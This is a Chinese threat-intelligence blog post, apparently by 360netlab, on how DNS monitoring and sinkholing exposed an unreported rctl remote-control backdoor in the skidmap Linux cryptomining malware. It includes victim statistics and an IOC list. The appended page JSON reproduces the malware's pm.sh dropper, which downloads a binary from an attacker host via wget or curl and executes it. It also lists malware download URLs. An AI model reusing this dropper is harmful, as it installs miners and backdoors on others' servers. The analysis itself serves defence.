简单来说，当一个僵尸网络中的肉鸡向服务器发送数据时，就可以使用sinkhole技术将这些数据流量进行有目的的转发，以此来对僵尸网络进行监控、查找受到影响的域IP地址，最终瓦解僵尸网络的攻击，让那些肉鸡无法接受命令。
最为大众熟知的sinkhole当属2017年5月，wannacry爆发时安全研究人员针对其开关域名进行注册，做sinkhole处理，成功的阻断了wannacry勒索软件大规模传播，减少了其所造成的损失。
DNSMon在产生IOC的过程中，360netlab维护的基础sinkhole数据库一直在发挥着重要的作用。
经过观察，发现实际到franceeiffeltowers[.]com的流量和到主下载域名pm[.]ipfswallet.tk的流量有很大的差别，主要体现在：
1. 通过443端口进行通信
2. 需要完成TLS协议的交互，但是没有对访问域名的证书进行校验（我们提供的证书和sinkhole域名的证书并不匹配）
3. TLS握手之后，收到首包的payload长度为39，内容类似如下（不同客户端来源的数据包的字节的内容会有变化）：
00000000: 64 65 66 61 75 6C 74 00 00 00 00 00 00 00 00 00 default.........
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 16 3E 12 AE AD ...>...
或者类似如下：
00000000: 63 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4..............
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 52 54 00 B8 EB E1 .RT....
这些内容显然和我们期望看到的可读性很好的http url以及相应的http协议的其他内容不同，反而看起来像是某种远控程序的上线包。
客户端主要集中在阿里云与腾讯云
通过sinkhole域名，在2020-11-13，我们拿到了689个IP地址，其中64%的请求来源IP集中在阿里云和腾讯云上。具体分布如下图：
因为rctl系列域名（无论是否注册）在请求模式上互相之间非常接近，并且通过DNSMon系统能够看到他们的伴生关系非常紧密。我们有充足的理由相信已注册的域名（googleblockchain[.]com）的客户端来源与sinkhole的域名相同。
sinkhole的请求数量
请求数量方面，在2020.11.13 23:00 ~2020.11.14 23:00 时间段内，sinkhole服务器共收到了93.6万次上线请求（长度为39的二进制数据包）。
寻找失落的源，找到了答案
尽管从前面的多种关联来看，几乎可以肯定rctl系列域名必然是和skidmap恶意挖矿程序相关的。但是sinkhole的数据显示rctl系列域名和已经披露的skidmap相关的IOC域名角色并不相同。
为了弄清楚这种流量的真实来源，我们在受限环境中，重新“感染”了一次skidmap。不出所料的发现了针对rctl系列域名的请求，通过分析发现是一个名叫 /usr/bin/irqbalanced (ad303c1e121577bbe67b4615a0ef58dc5e27198b) 的程序在不断的尝试的对外连接rctl* 类域名，并且注意到rctl相关的字符串也在skidmap的rootkit隐藏的目录列表中。
通过对该程序的分析发现它来自一个开源的远程控制软件rctl（注：该软件的作者和skidmap的背后黑客不能因为该开源软件的关系而被认为是同一个人），并对其客户端程序进行了修改以适应skidmap的需求。不过，通信的核心协议并未发生变化，sinkhole最初收到的长度为39字节的数据就是受害者尝试连接主控的首包。
至此，真相大白：rctl系列域名是skidmap恶意挖矿程序的又一个后门。只因为最初的分析报告中没有提及此域名，导致现在几乎所有的威胁情报平台对rctl系列域名以及后门程序irqbalanced样本本身都没有加入IOC列表。
因为通信协议没有明显的变化，我们对rctl服务端软件稍作修改进行适配，在sinkhole服务器上运行其服务端之后，不出所料的收到众多的受害者的信息。
从软件运行的截图来看，该控制端可以对受害者进行批量的远程命令执行和单点的shell的登录，其功能说明和运行截图如下：
该远控软件的连接效率很高，服务端启动不久，连接的客户端已经接近900台。考虑到客户端连接时请求主控域名的顺序问题，真实的受害用户可能比这个数量要高不少。
确认丢失了IOC
考虑到skidmap恶意挖矿程序自身的进化，有一种可能当时分析报告的版本并没有该后门，是后来添加进去的。
为了确认此种情况，我们通过virustotal查询了当时分析文章所提供IOC中的kaudited（e6eb4093f7d958a56a5cd9252a4b529efba147c0e089567f95838067790789ee ）（正是该程序释放了irqbalanced以及其他的恶意程序），确认此后门在当时版本就存在。
从趋势科技对skidmap进行详尽的分析算起，已经过去了1年多，多家IOC生产机构，却都漏掉了rctl这种重要的IOC，对此我们并不意外。
安全防御没有银弹，利用包括像DNSMon这种平台等多种分析手段，多数据源的交叉才能够尽量好的解决这种问题。
感染过程
关于skidmap利用什么漏洞进入系统，下载了哪些恶意程序(rootkit)，每个恶意程序的功能以及他们之间的关系，不在本文赘述。后续我们考虑用一篇专门的文章来进行具体的介绍。
至此，本文基本结束，做一个简要的概括。
结论
1. DNSMon系统能够很好的发现各种已知和未知的威胁，通过多维度数据交叉校验之后，对其判黑和高可疑数据进行拦截。
2. DNSMon系统产生的黑和高可疑IOC，对安全要求比较高的用户来说是非常有价值，是对现有依据传统安全分析方法产生的威胁情报(IOC)很好的互补。
3. skidmap恶意挖矿程序存在着一个之前一直存在但从未批露的漏洞，新的IOC需要补充进来。
4. skidmap恶意挖矿程序的受害用户在国内目前大多数来自与云平台，主要集中在阿里云和腾讯云。
参考资料
1. https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html
2. https://github.com/ycsunjane/rctl
3. https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/567242/national_cyber_security_strategy_2016.pdf
4. https://www.homeaffairs.gov.au/cyber-security-subsite/files/cyber-security-strategy-2020.pdf
5. https://www.cira.ca/cybersecurity-services/canadian-shield
IOC
注：本IOC列表仅包含DNSMon系统发现的且之前分析报告没有提及的域名IOC以及本次分析流程中识别出的其他类型的IOC。
域名：
rctl-443.franceeiffeltowers[.]com
rctl-443.googleblockchaintechnology[.]com
rctl-443.howoldareyou999[.]com
rctl-443.ipfswallet[.]tk
rctl-443.onlinetalk[.]tk
rctl.franceeiffeltowers[.]com
rctl.googleblockchaintechnology[.]com
rctl.howoldareyou999[.]com
rctl.ipfswallet[.]tk
rctl.onlinetalk[.]tk
样本：
ecb6f50245706cfbdc6d2098bc9c54f3 irqbalanced
9c129d93f6825b90fa62d37b01ae3b3c pamdicks
5840dc51673196c93352b61d502cb779 ip6network
871a598f0ee903b4f57dbc5020aae293 systemd-network
证书：
4241c714cd2b04f35e49ed593984c6932e1f387c rctl.onlinetalk[.]tk
3158b9c2e703a67363ac9ee9c1b247c2e1abf4c7 rctl.onlinetalk[.]tk
5fbad62b7738c76094ab6a05b32425305400183f onlinetalk[.]tk
e886e1899b636f2875be56b96cf1affdd957348a googleblockchaintechnology[.]com
目录文件：
/etc/rctlconf/rctlcli.cfg
/etc/rctlconf/certs/rctl_cert.pem
/etc/rctlconf/certs/rctl_priv.pem
/etc/rctlconf/certs/rctl_ca.crt
ssh登录公钥：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever
| {"version":"0.3.1","atoms":[["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}]],"cards":[["markdown",{"markdown":"### 更新记录\n* [2020-12-07]\n 在本文发布之后不久，我们注意到该后门的访问模式有了一定的调整。并在最近DNSMon发现攻击者已经启用了新的域名IOC。具体来说有如下变化：\n 1. 将rctl子域名变更为 r1\n 2. 新启用了*mylittlewhitebirds[.]com*，*howoldareyou9999[.]com*（比原先的*howoldareyou999[.]com*多了一个字符'9'），*franceeiffeltowerss[.]com*(比原先的*franceeiffeltowers[.]com*多了一个字符's')三个域名作为后面的备用域名。\n \n 具体如下：\n ```\n r1.googleblockchaintechnology[.]com\n r1.howoldareyou9999[.]com\n r1-443.howoldareyou9999[.]com\n r1-443.franceeiffeltowerss[.]com\n r1.franceeiffeltowerss[.]com\n r1.mylittlewhitebirds[.]com\n r1-443.mylittlewhitebirds[.]com\n r1-443.googleblockchaintechnology[.]com\n ```"}],["image",{"src":"__GHOST_URL__/content/images/2020/11/block_domain_info-1.png","alt":"block_domain_info-1","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/access_curve-1.png","alt":"access_curve-1","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/graph_relations_layers-3.png","alt":"graph_relations_layers-3","title":""}],["code",{"code":"hxxp://rctl.googleblockchaintechnology[.]com/pc\nhxxp://rctl.googleblockchaintechnology[.]com/pm.sh\nhxxp://rctl.googleblockchaintechnology[.]com/miner2\nhxxp://rctl.googleblockchaintechnology[.]com/miner\nhxxp://rctl.googleblockchaintechnology[.]com/cos6.tar.gz\nhxxp://rctl.googleblockchaintechnology[.]com/cos7.tar.gz\n"}],["code",{"code":"PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\ncd /var/lib\n\n\nif [ -x \"/usr/bin/md5sum\" -o -x \"/bin/md5sum\" ];then\n sum=`md5sum pc|grep 42d271982608bd740bf8dd3458f79116|grep -v grep |wc -l`\n if [ $sum -eq 1 ]; then\n chmod +x /var/lib/pc\n /var/lib/pc\n exit 0\n fi\nfi\n\n/bin/rm -rf /var/lib/pc\nif [ -x \"/usr/bin/wget\" -o -x \"/bin/wget\" ]; then\n wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\nelif [ -x \"/usr/bin/curl\" -o -x \"/bin/curl\" ]; then\n curl -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\nelif [ -x \"/usr/bin/get\" -o -x \"/bin/get\" ]; then\n get -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\nelif [ -x \"/usr/bin/cur\" -o -x \"/bin/cur\" ]; then\n cur -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\nelif [ -x \"/usr/bin/url\" -o -x \"/bin/url\" ]; then\n url -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\nelse\n rpm -e --nodeps wget\n yum -y install wget\n wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc\nfi\n"}],["code",{"code":"00000000: 64 65 66 61 75 6C 74 00 00 00 00 00 00 00 00 00 default.........\n00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000020: 00 00 16 3E 12 AE AD ...>...\n"}],["code",{"code":"00000000: 63 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4..............\n00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00000020: 00 52 54 00 B8 EB E1 .RT....\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/11/client_ip_distr.png","alt":"client_ip_distr","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/sinkhole_req_count.png","alt":"sinkhole_req_count","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/rctl_server_v2-3.png","alt":"rctl_server_v2-3","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/rctl_server_v3-1.jpg","alt":"rctl_server_v3-1","title":""}],["markdown",{"markdown":"## 感染过程\n关于skidmap利用什么漏洞进入系统，下载了哪些恶意程序(rootkit)，每个恶意程序的功能以及他们之间的关系，不在本文赘述。后续我们考虑用一篇专门的文章来进行具体的介绍。"}],["code",{"code":"域名：\nrctl-443.franceeiffeltowers[.]com\nrctl-443.googleblockchaintechnology[.]com\nrctl-443.howoldareyou999[.]com\nrctl-443.ipfswallet[.]tk\nrctl-443.onlinetalk[.]tk\nrctl.franceeiffeltowers[.]com\nrctl.googleblockchaintechnology[.]com\nrctl.howoldareyou999[.]com\nrctl.ipfswallet[.]tk\nrctl.onlinetalk[.]tk\n\n样本：\necb6f50245706cfbdc6d2098bc9c54f3 irqbalanced\n9c129d93f6825b90fa62d37b01ae3b3c pamdicks\n5840dc51673196c93352b61d502cb779 ip6network\n871a598f0ee903b4f57dbc5020aae293 systemd-network\n\n证书：\n4241c714cd2b04f35e49ed593984c6932e1f387c rctl.onlinetalk[.]tk\n3158b9c2e703a67363ac9ee9c1b247c2e1abf4c7 rctl.onlinetalk[.]tk\n5fbad62b7738c76094ab6a05b32425305400183f onlinetalk[.]tk\ne886e1899b636f2875be56b96cf1affdd957348a googleblockchaintechnology[.]com\n\n目录文件：\n/etc/rctlconf/rctlcli.cfg\n/etc/rctlconf/certs/rctl_cert.pem\n/etc/rctlconf/certs/rctl_priv.pem\n/etc/rctlconf/certs/rctl_ca.crt\n\nssh登录公钥：\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever\n"}]],"markups":[["em"],["strong"],["a",["href","https://passivedns.cn"]],["a",["href","https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html"]],["a",["href","https://en.wikipedia.org/wiki/DNS_sinkhole"]],["a",["href","https://blogs.microsoft.com/blog/2014/06/02/microsoft-helps-fbi-in-gameover-zeus-botnet-cleanup/"]],["code"],["a",["href","https://github.com/ycsunjane/rctl"]],["a",["href","https://www.virustotal.com/gui/file/e6eb4093f7d958a56a5cd9252a4b529efba147c0e089567f95838067790789ee/behavior"]],["a",["href","https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/567242/national_cyber_security_strategy_2016.pdf"]],["a",["href","https://www.homeaffairs.gov.au/cyber-security-subsite/files/cyber-security-strategy-2020.pdf"]],["a",["href","https://www.cira.ca/cybersecurity-services/canadian-shield"]]],"sections":[[1,"p",[[0,[0,1],2,"----发现skidmap的未知后门"]]],[10,0],[1,"h2",[[0,[],0,"用DNS数据做安全"]]],[1,"p",[[0,[],0,"DNS协议作为互联网的基础和核心协议，其承载的数据在一定程度上能够反映使用域名提供服务的业务发展情况。使用了DNS服务的恶意行为也不例外，对DNS数据进行安全分析，可以涵盖绝大多数恶意行为。"]]],[1,"p",[[0,[],0,"早期利用DNS数据进行安全检测典型的场景包括针对DGA和fastflux的检测。尽管检测这两类恶意行为的具体方法多种多样（比如检测DGA域名从少量的统计维度，到多特征的机器学习再到基于时序的深度学习检测等等），但是其核心仍然是以纯DNS数据为基础即可完成检测。能这么做的最主要的原因是这两类恶意行为的关键特征在DNS数据上体现的已经非常明显，几乎不需要或者仅需要少量外部数据的辅助即可以完成快速，准确的检测。"]]],[1,"p",[[0,[],0,"但现实中不同的恶意软件由于其目的和所运行环境（比如Windows，Linux，macOS等操作系统对协议栈的实现）差异很大，其在DNS数据中留下的痕迹也各不相同，此时"],[0,[1],1,"仅依靠DNS数据"],[0,[],0,"就难以或者说是几乎不可能高效的完成从数据清洗，聚合，检测，校验和防御的闭环。面对海量DNS数据（其他的基础数据也类似）利用大数据分析方法产出的多如牛毛的（异常）线索但无法对其进行精确定性的威胁情报（IOC）的尴尬局面。"]]],[1,"p",[[0,[],0,"在数据，算力和机器智能算法快速发展的今天，我们相信DNS安全未来的一个方向是海量DNS基础数据结合其他多种维度数据进行关联整合，从而进入更深入精细的分析。"]]],[1,"blockquote",[[0,[0],1,"其实利用DNS数据发现和阻断安全风险的趋势正变得越来越主流。这些年我们看到越来越多的企业甚至国家(没错，国家)把目光转向了DNS这个领域。比如美国的E3A计划，英国正在实施的5年网络安全战略规划[3]，澳大利亚正在实施的国家网络安全战略规划中的ISP系统部分[4]，加拿大CIRA的加拿大盾项目[5]，在其防御手段中，核心是一样的，即利用DNS的数据，在国家层面进行大规模的威胁发现和全局阻断。有兴趣的可以查阅文末的参考资料以及其他相关资料。"]]],[1,"h2",[[0,[],0,"DNSMon系统"]]],[1,"p",[[0,[],0,"2014年，我们在国内建立第一个"],[0,[2],1,"PassiveDNS"],[0,[],0,"系统开始，360netlab团队在DNS领域专心经营了6年。DNSMon是360Netlab利用丰富的DNS安全分析经验，对每日千亿级别的DNS流量进行系统的分析，产出威胁情报(域名IOC)，并向最终用户提供安全防御的平台。"]]],[3,"ul",[[[0,[],0,"其核心在于将海量的DNS数据与360所拥有安全相关数据（包括whois，web，沙箱，蜜罐，证书等等）交叉对比，并从中分析得出威胁情报IOC。"]],[[0,[1],1,"无任何先验知识的情况下，大规模的主动阻断高风险，高危安全相关域名。"]],[[0,[],0,"每天可以产生上千条恶意和高可疑域名黑名单，服务于国内约2000万用户，并已稳定运行近3年。"]]]],[1,"h2",[[0,[],0,"不同维度数据交叉会产生更好的效果"]]],[1,"p",[[0,[],0,"一般认为，如果以威胁情报（域名IOC）的生产为目标的话，安全分析团队和安全产品通常会寻求能够产出更为精准威胁情报（域名IOC）的方法，比如沙箱，蜜罐等等，毕竟它们是有切实的真相（groudtruth）——即样本——在手的。通过对样本进行逆向几乎可以解释一切行为。"],[1,[],0,0],[0,[],0,"不过逆向工程也面临着挑战："]]],[3,"ul",[[[0,[],0,"首先是无法大规模的扩展和快速的响应。解决这两个问题的办法也许就是跑沙箱。但是沙箱也有自身的问题，比如运行环境的适配问题，恶意软件的对抗问题等等。"]],[[0,[],0,"其次是能够拿到并分析样本本身是有较高资源要求的。网络规模越大，组网环境越复杂，部署、运营、阻断等资源要求会显著加大。"]]]],[1,"p",[[0,[],0,"而DNSMon在大规模的扩展和快速响应方面有着天然的优势，并且接入数据量和后端检测平台的复杂度并非线性关系。因此两种手段的结合是必然趋势。"]]],[1,"p",[[0,[],0,"在运营DNSMon的过程中，现在几乎已经是标准情况，我们拦截的域名往往在几周甚至几个月之后才会进入国内外安全厂家的威胁情报（域名IOC）列表中。为了"],[0,[1],1,"让用户更透明的看到"],[0,[],0,"我们从原始DNS流量到威胁情报（域名IOC）的流程，同时也介绍DNSMon在生产威胁情报（域名IOC）方面的经验，后续我们会陆续推出一系列的文章，并挑选其中一些典型的案例来说明如何从DNS入手并结合多维度的数据生产域名IOC。"]]],[1,"p",[[0,[],0,"本文我们来看第一个例子——skidmap恶意挖矿程序。"]]],[1,"h2",[[0,[],0,"DNSMon对未知域名的拦截"]]],[1,"p",[[0,[],0,"DNSMon"],[0,[1],0,"从2019年5月份开始，在无任何先验知识的情况下，内置算法直接对"],[0,[0],1,"ipfswallet.tk"],[0,[],0,"的rctl-443/rctl/pm等三个子域名以及"],[0,[0],1,"rctl-443.onlinetalk[.]tk"],[0,[],1," 报黑并进行了拦截"],[0,[],0,"，随后在2019年11月又对 "],[0,[0],1,"onlinetalk[.]tk"],[0,[],0," 的rctl/info子域名进行了拦截。在2020年的9月份以及10月份的时候，类似的又分别对 "],[0,[0],1,"googleblockchaintechnology[.]com"],[0,[],0,"，"],[0,[0],1,"howoldareyou999[.]com"],[0,[],0,"，"],[0,[0],1,"franceeiffeltowers[.]com"],[0,[],0," 的rctl-443/rctl子域名进行了拦截。拦截信息见下图："]]],[10,1],[1,"p",[[0,[],0,"显然这些域名在域名结构以及子域名的选择上有较强的相似性，子域名的使用是和业务相关，使用相同的子域名很大程度是相同的业务。"],[1,[],0,1],[0,[],0,"进一步分析其DNS请求的行为模式，我们发现其DNS请求有非常高的一致性。因为这种模式的域名不断出现，且其行为时间跨度已经接近1年半。经验告诉我们，这种行为模式的背后显然是特定的程序在调控，并且在不停的更新。"]]],[1,"p",[[0,[],0,"下图展示了从今年8月份以来相关域名的访问曲线。"]]],[10,2],[1,"h2",[[0,[],0,"如何定性"]]],[1,"h4",[[0,[],0,"图关联"]]],[1,"p",[[0,[],0,"一般来说，如果域名结构类似，并且使用了相同的基础设施，那么很有可能这些域名在程序实现上扮演的功能是类似的。为此，我们使用图系统（360netlab开发的对多维度数据进行图关联分析的系统）对这些自动拦截的域名的基础设施和关联情况进行了分析。从下图中可以直观的看出："]]],[3,"ul",[[[0,[],0,"所有查询域名（第二列的五角星节点）能够通过IP，URL和样本完成互相之间的关联，说明它们在基础设施上确实是一家。"]],[[0,[],0,"同时还扩展出一些新的节点，其中的域名节点有明显的挖矿域名特征，而样本节点则关联出shell脚本和ELF样本，同样符合挖矿恶意程序的基本构成。"]]]],[10,3],[1,"h4",[[0,[],0,"域名关联"]]],[1,"p",[[0,[],0,"根据2019年9月份"],[0,[3],1,"趋势科技的报告"],[0,[],0,"[1]可以判断，扩展出来的这两组域名均为skidmap恶意挖矿程序。由此基本可以确定rctl系列域名和skidmap挖矿程序有着密切的关联，并且"],[0,[1],0,"DNSMon针对skidmap恶意挖矿程序相关域名（包括作为恶意程序的主下载域名"],[0,[0],1,"pm[.]ipfswallet.tk"],[0,[],1,"）的拦截在时间上比趋势科技的安全分析报告早了大概4个月（2019.5 VS 2019.9）"],[0,[],0,"。"]]],[1,"h4",[[0,[],0,"URL关联"]]],[1,"p",[[0,[],0,"经过图关联和域名关联的分析，我们可以确定新出现的域名和skidmap恶意挖矿程序有着极为密切的关系。但是由于之前的分析报告尚未对rctl系列域名做过任何相关的分析。"],[1,[],0,2],[0,[],0,"因此为了进一步确定这些新域名的功能，我们使用新的域名拼接旧的URL检查新域名是否在承接相应旧域名的功能。果然，相应的恶意软件是可以成功下载的。"]]],[10,4],[1,"p",[[0,[],0,"并且下载回来的样本和之前分析文章中通过主下载域名("],[0,[0],1,"pm[.]ipfswallet.tk"],[0,[],0,")分析的大体相同。举例pm.sh的内容如下："]]],[10,5],[1,"h2",[[0,[],0,"定量来看"]]],[1,"h4",[[0,[],0,"sinkhole的数据"]]],[1,"p",[[0,[],0,"注意到2020年10月底新出现的2个rctl系列域名（"],[0,[0],1,"howoldareyou999[.]com"],[0,[],0,"，"],[0,[0],1,"franceeiffeltowers[.]com"],[0,[],0,"）并没有注册，但实际网络中已经有了大量的针对它们的DNS请求流量。由于之前的分析报告中，"],[0,[1],1,"完全没有rctl系列域名的任何信息分析"],[0,[],0,"，为了弄清楚这些域名在实际网络中的切实请求，我们注册了其中的"],[0,[0],1,"franceeiffeltowers[.]com"],[0,[],0,"，并对其做了sinkhole。"]]],[1,"blockquote",[[0,[0,4],1,"Sinkhole技术"],[0,[],0,"是指安全分析人员为了分析或者阻断恶意程序的传播，对恶意程序使用的域名进行注册或者重定向，将其流量导入到安全分析人员控制的机器上，是安全分析人员对抗恶意软件的一种有效手段。该技术同时也是"],[0,[1],1,"低成本，大规模"],[0,[],0,"的关停僵尸网络业务的首选（2014年微软和FBI"],[0,[5],1,"关停GOZ僵尸网络"],[0,[],0,"使用的关键技术之一就是对GOZ的域名做了sinkhole）。"],[1,[],0,3],[0,[],0,"简单来说，当一个僵尸网络中的肉鸡向服务器发送数据时，就可以使用sinkhole技术将这些数据流量进行有目的的转发，以此来对僵尸网络进行监控、查找受到影响的域IP地址，最终瓦解僵尸网络的攻击，让那些肉鸡无法接受命令。"],[1,[],0,4],[0,[],0,"最为大众熟知的sinkhole当属2017年5月，wannacry爆发时安全研究人员针对其开关域名进行注册，做sinkhole处理，成功的阻断了wannacry勒索软件大规模传播，减少了其所造成的损失。"],[1,[],0,5],[0,[],1,"DNSMon在产生IOC的过程中，360netlab维护的基础sinkhole数据库一直在发挥着重要的作用。"]]],[1,"p",[[0,[],0,"经过观察，发现实际到"],[0,[0],1,"franceeiffeltowers[.]com"],[0,[],0,"的流量和到主下载域名"],[0,[0],1,"pm[.]ipfswallet.tk"],[0,[],0,"的流量有很大的差别，主要体现在："]]],[3,"ol",[[[0,[],0,"通过443端口进行通信"]],[[0,[],0,"需要完成TLS协议的交互，但是没有对访问域名的证书进行校验（我们提供的证书和sinkhole域名的证书并不匹配）"]],[[0,[],0,"TLS握手之后，收到首包的payload长度为39，内容类似如下（不同客户端来源的数据包的字节的内容会有变化）："]]]],[10,6],[1,"p",[[0,[],0,"或者类似如下："]]],[10,7],[1,"p",[[0,[],0,"这些内容显然和我们期望看到的可读性很好的http url以及相应的http协议的其他内容不同，反而看起来像是某种远控程序的上线包。"]]],[1,"h5",[[0,[],0,"客户端主要集中在阿里云与腾讯云"]]],[1,"p",[[0,[],0,"通过sinkhole域名，在2020-11-13，我们拿到了689个IP地址，其中64%的请求来源IP集中在阿里云和腾讯云上。具体分布如下图："]]],[10,8],[1,"p",[[0,[],0,"因为rctl系列域名（无论是否注册）在请求模式上互相之间非常接近，并且通过DNSMon系统能够看到他们的伴生关系非常紧密。我们有充足的理由相信已注册的域名（"],[0,[0],1,"googleblockchain[.]com"],[0,[],0,"）的客户端来源与sinkhole的域名相同。"]]],[1,"h5",[[0,[],0,"sinkhole的请求数量"]]],[1,"p",[[0,[],0,"请求数量方面，在2020.11.13 23:00 ~2020.11.14 23:00 时间段内，sinkhole服务器共收到了93.6万次上线请求（长度为39的二进制数据包）。"]]],[10,9],[1,"h4",[[0,[],0,"寻找失落的源，找到了答案"]]],[1,"p",[[0,[],0,"尽管从前面的多种关联来看，几乎可以肯定rctl系列域名必然是和skidmap恶意挖矿程序相关的。但是sinkhole的数据显示rctl系列域名和已经披露的skidmap相关的IOC域名角色并不相同。"]]],[1,"p",[[0,[],0,"为了弄清楚这种流量的真实来源，我们在受限环境中，重新“感染”了一次skidmap。不出所料的发现了针对rctl系列域名的请求，通过分析发现是一个名叫 "],[0,[6],1,"/usr/bin/irqbalanced (ad303c1e121577bbe67b4615a0ef58dc5e27198b)"],[0,[],0," 的程序在不断的尝试的对外连接rctl* 类域名，并且注意到"],[0,[1],1,"rctl相关的字符串也在skidmap的rootkit隐藏的目录列表中"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"通过对该程序的分析发现它来自一个开源的远程控制软件"],[0,[7],1,"rctl"],[0,[],0,"（注：该软件的作者和skidmap的背后黑客不能因为该开源软件的关系而被认为是同一个人），并对其客户端程序进行了修改以适应skidmap的需求。不过，通信的核心协议并未发生变化，sinkhole最初收到的长度为39字节的数据就是受害者尝试连接主控的首包。"],[1,[],0,6],[0,[],0,"至此，真相大白："],[0,[1],1,"rctl系列域名是skidmap恶意挖矿程序的又一个后门"],[0,[],0,"。只因为最初的分析报告中没有提及此域名，导致现在"],[0,[1],1,"几乎所有的威胁情报平台对rctl系列域名以及后门程序irqbalanced样本本身都没有加入IOC列表"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"因为通信协议没有明显的变化，我们对rctl服务端软件稍作修改进行适配，在sinkhole服务器上运行其服务端之后，不出所料的收到众多的受害者的信息。"]]],[1,"p",[[0,[],0,"从软件运行的截图来看，该控制端可以对受害者进行批量的远程命令执行和单点的shell的登录，其功能说明和运行截图如下："]]],[10,10],[1,"p",[[0,[],0,"该远控软件的连接效率很高，服务端启动不久，连接的客户端已经接近900台。考虑到客户端连接时请求主控域名的顺序问题，真实的受害用户可能比这个数量要高不少。"]]],[10,11],[1,"h4",[[0,[],0,"确认丢失了IOC"]]],[1,"p",[[0,[],0,"考虑到skidmap恶意挖矿程序自身的进化，有一种可能当时分析报告的版本并没有该后门，是后来添加进去的。"],[1,[],0,7],[0,[],0,"为了确认此种情况，我们通过virustotal查询了当时分析文章所提供IOC中的kaudited（"],[0,[8],1,"e6eb4093f7d958a56a5cd9252a4b529efba147c0e089567f95838067790789ee"],[0,[],0,"\t）（正是该程序释放了irqbalanced以及其他的恶意程序），确认此后门在当时版本就存在。"]]],[1,"p",[[0,[1],1,"从趋势科技对skidmap进行详尽的分析算起，已经过去了1年多，多家IOC生产机构，却都漏掉了rctl这种重要的IOC，对此我们并不意外"],[0,[],0,"。"],[1,[],0,8],[0,[],0,"安全防御没有银弹，利用包括像DNSMon这种平台等多种分析手段，多数据源的交叉才能够尽量好的解决这种问题。"]]],[10,12],[1,"p",[[0,[],0,"至此，本文基本结束，做一个简要的概括。"]]],[1,"h2",[[0,[],0,"结论"]]],[3,"ol",[[[0,[],0,"DNSMon系统能够很好的发现各种已知和未知的威胁，通过多维度数据交叉校验之后，对其判黑和高可疑数据进行拦截。"]],[[0,[],0,"DNSMon系统产生的黑和高可疑IOC，对安全要求比较高的用户来说是非常有价值，是对现有依据传统安全分析方法产生的威胁情报(IOC)很好的互补。"]],[[0,[],0,"skidmap恶意挖矿程序存在着一个之前一直存在但从未批露的漏洞，新的IOC需要补充进来。"]],[[0,[],0,"skidmap恶意挖矿程序的受害用户在国内目前大多数来自与云平台，主要集中在阿里云和腾讯云。"]]]],[1,"h2",[[0,[],0,"参考资料"]]],[3,"ol",[[[0,[3],1,"https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html"]],[[0,[7],1,"https://github.com/ycsunjane/rctl"]],[[0,[9],1,"https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/567242/national_cyber_security_strategy_2016.pdf"]],[[0,[10],1,"https://www.homeaffairs.gov.au/cyber-security-subsite/files/cyber-security-strategy-2020.pdf"]],[[0,[11],1,"https://www.cira.ca/cybersecurity-services/canadian-s